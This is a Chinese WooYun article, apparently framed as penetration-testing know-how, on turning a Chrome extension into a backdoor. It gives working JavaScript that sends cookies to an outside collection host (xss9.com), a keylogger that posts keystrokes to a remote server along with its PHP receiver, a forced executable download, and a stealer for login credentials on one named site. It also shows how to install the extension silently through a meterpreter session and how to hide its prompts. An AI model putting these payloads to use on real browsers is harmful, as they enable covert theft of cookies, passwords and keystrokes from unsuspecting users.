Hack With Chrome Extension

wyzsk發表於2020-08-19
作者: Evi1cg · 2016/04/07 10:22

0x00 Introduction


眾所周知,Web應用變得越來越流行,生活,辦公,娛樂等等很多都是透過Web,而瀏覽器是我們訪問Web最常使用的工具之一。隨著Web功能的強大,瀏覽器的功能也變得越來越強大。而此文,就是介紹一種透過Chrome外掛進行攻擊的姿勢跟手法。

撰寫此文時,僅對Chrome瀏覽器進行了部分測試,有興趣的小夥伴可以深入,本文主要是提供一種思路。

0x01 Write Chrome Extension


在知道怎麼寫外掛之前,我們首先了解一下外掛的檔案結構,隨便下載一個谷歌外掛,將其重新命名為zip字尾之後進行解壓,解壓後的檔案目錄如下:

Alt text

其中,manifest.json是主檔案,來宣告要寫的外掛的相關資訊。可以把mainfest.json理解成外掛的入口,即chrome需要透過manifest.json來理解你的外掛要引用哪些檔案 、 需要哪些許可權 、 外掛圖示 等資訊。而其他檔案,就是能實現此外掛功能的指令碼檔案以及外掛圖示等。

下面,我們開始構造我們的hack extension。

首先, 編寫manifest.json檔案如下:

#!js
{
    "name": "demo",  //外掛顯示的名稱
    "description": "demo", //外掛的描述
    "version": "1.0", //外掛的版本
    "manifest_version": 2, //新版chrome強制manifest_version為2
    //外掛的圖示
    "icons": {  
    "16": "imgs/ico.png",
    "32": "imgs/ico.png",
    "48": "imgs/ico.png",
    "128": "imgs/ico.png"
    },
    //定義後臺的一些特性
    "background":{
      "scripts":[  //載入外掛的時候執行的指令碼
          "js/call.js", 
          "lib/jquery.min.js"
      ]
    },
    "content_scripts": [//定義自動載入的內容
        {
            "matches": [ //滿足什麼樣的條件執行該外掛
                "<all_urls>"
            ],
            "js": [
                "lib/jquery.min.js", //滿足以後執行的指令碼
                "js/check.js"
            ]
        }
    ],
  //外掛的許可權
  "permissions": [
      "tabs",
      "http://*/",
      "https://*/",
      "background",
      "webRequest",
      "storage",
      "browsingData"
  ]
}

建立以下檔案:

Alt text

現在,所有的檔案就全了,但是還沒什麼功能,嘗試載入一下外掛,瀏覽器URL欄輸入 chrome://extensions/ 選擇載入已解壓的擴充套件程式,之後選擇檔案所在的資料夾。

Alt text

然後外掛就已經被載入上了:

Alt text

0x02 How to Hack


外掛已經可以被成功載入了,怎麼使用它來進行攻擊呢,我們開始編寫。

1、XSS Platform

配置XSS平臺,獲取專案程式碼如下:

#!js
<script src=http://t.cn/xxxxxxx></script>

訪問http://t.cn/xxxxxx 獲取程式碼,將其寫入check.js,內容如下:

#!js
(function(){(new Image()).src='http://xss9.com/index.php?do=api&id=xxxxxx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://xss9.com/index.php?do=keepsession&id=xxxxxx&url='+escape(document.location)+'&cookie='+escape(document.cookie)};

儲存檔案,重新載入外掛,訪問任意網站,獲取訪問網站的cookie資訊,如下圖:

Alt text

2、Keyloger

將以下Payload寫入check.js中:

#!js
$(document).ready(function()
{
    var server = "http://server.com/"; //接收伺服器
    var gate = "data.php?data=";  //接收檔案
    var tabURL = window.location.href;

            var keys='';
    document.onkeypress = function(e) {
      get = window.event?event:e;
      key = get.keyCode?get.keyCode:get.charCode;
      key = String.fromCharCode(key);
      keys+=key;
    }
    window.setInterval(function(){
      new Image().src = server+gate+keys;
      keys = '';
    }, 1000);        
    });

接收php檔案如下,將此檔案命名為data.php置於伺服器上:

#!php
<?php
$txt = $_GET['data'];
$log = fopen("keylog.txt", "a") or die("Unable to open file!");
fwrite($log, $txt);
fclose($log);
?>

需要在伺服器上建立keylog.txt,然後給777許可權就可以了

載入外掛以後,鍵盤記錄啟動,當使用者在網頁中進行鍵盤輸入時,輸入資料會傳送到遠端伺服器。

Alt text

3、ForceDownload

強制下載檔案Payload如下,此payload即安裝外掛以後,訪問任意網站強制下載程式:

#!php
$(document).ready(function()
{
    var server = "http://server.com/"; //伺服器
    var gate = "/test/test.exe"; //要下載的檔案
    var tabURL = window.location.href;

    var link = document.createElement('a');
link.href = server+gate;
link.download = '';
document.body.appendChild(link);
link.click();    
    });

4、Get Wooyun Password

以下Payload 用於獲取登陸wooyun的賬號密碼。

#!php
$(document).ready(function()
{
    var server = "http://xss9.com/"; //傳送地址
    var gate = "index.php?do=api&id=xxxxx"; //接收引數
    var tabURL = window.location.href;

        if(tabURL.indexOf('wooyun.org') !== -1 )
    {
        wooyun();
    }

    function email()
    {
        var email = document.getElementsByName('email')[0].value;
        var password = document.getElementsByName('password')[0].value;
        var data = "&username="+email+"&password="+password;
        new Image().src = server+gate+data;
        //console.log("email="+email+"&password="+password)
    }
    function wooyun()
    {
        document.getElementById('subbtn').onmouseover = email;
    }    
    });

Alt text

修改payload可針對性獲取某網站賬號密碼資訊。

Payload就介紹這麼多了,熟悉前端的童鞋一定可以創造更多花式玩兒法。

0x03 When to Use


或許小夥伴們會問,弄這個有什麼用,我又不需要裝這個外掛抓自己的密碼。當然,這個肯定不是用來搞自己的。滲透測試過程中,有沒有碰到過看到管理員經常使用Chrome瀏覽器,而我們卻沒辦法獲取到其常用密碼呢?(管理員並沒有使用瀏覽器記住密碼的功能)。這個時候,除了給系統裝鍵盤記錄器,我們還可以為其瀏覽器裝我們編寫的外掛。而這個外掛,就可以用來蒐集各種敏感資訊,而且,針對的是瀏覽器訪問的所有網站!

除此之外,我發現chrome是可以透過命令列來安裝外掛的,來設想一個場景,我們使用某個漏洞,或者社會工程學獲取了小明的計算機控制權,現在已經有了一個meterpreter會話如下:

Alt text

執行如下命令:

#!bash
meterpreter > run post/windows/gather/enum_chrome

Alt text

可以看到目標系統是安裝了chrome瀏覽器的。

上傳外掛目錄demo到e:\demo\ 目錄,由於meterpreter的upload只能上傳檔案,不能上傳資料夾,所以這裡需要把demo資料夾打包壓縮以後再上傳,之後再透過目標系統的解壓軟體或者自己上傳的unrar.exe進行解壓,具體操作如下圖:

Alt text

使用如下命令尋找安裝的解壓軟體:

Alt text

之後使用如下命令進行解壓並刪除壓縮包,具體操作如下圖:

Alt text

之後為chrome新增外掛,使用如下命令:

#!bash
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"  --load-extension="F:\demo\demo" --silent-launch 

路徑為chrome預設安裝路徑,如果找不到,可以使用dir命令來找,--load-extension是要載入的外掛路徑,--silent-launch表示不開啟chrome,靜默安裝。注意:需要在chrome未執行的情況下才可成功載入外掛。

使用以上命令有現在兩點缺點:

缺點一,會有如下提示(過幾秒會消失)。

Alt text

缺點二,有圖示,有提示。

Alt text

一直在想辦法解決以上問題,圖示可以換成透明的或者常用的外掛圖片來解決,另外兩個暫時還沒解決,詳細的chrome命令可以參考這裡: chromium-command-line,有小夥伴有了解決方案還請不吝賜教。當然也可以嘗試寫一個小程式來監控chrome,一旦chrome開啟,則模擬點選事件點選取消按鈕。

最好的方式就是可以直接去為他安裝外掛,然後點了這幾個提示之後,之後的使用則不會再次出現提示,這樣可以隱藏挺長時間。

然後,我就控制小明的所有訪問內容了,就像這個圖一樣:

Alt text

當然除了以上的利用方式,還可以透過釋出一些外掛讓其含有攻擊程式碼同樣可以實現此功能。

0x04 How to Defend


對於不明來歷的外掛儘量不要安裝,如果發現問題,請儘早修改自己各個賬號密碼。

0x05 Summarize


此文主要介紹在滲透測試過程中的一種思路,有興趣的小夥伴可以繼續測試其他瀏覽器的外掛,這種方式雖然簡單,但是效果還不錯,你值得擁有。以上檔案可以透過這裡下載:Extension_Backdoor

0x06 Consult


  1. http://peter.sh/experiments/chromium-command-line-switches/#condition-21
  2. http://www.chromeplugins.org/google/chrome-plugins/installing-crx-file-command-line-9976.html
  3. https://developer.chrome.com/extensions/external_extensions
  4. http://www.cnblogs.com/walkingp/archive/2011/03/31/2001628.html

本文由evi1cg原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章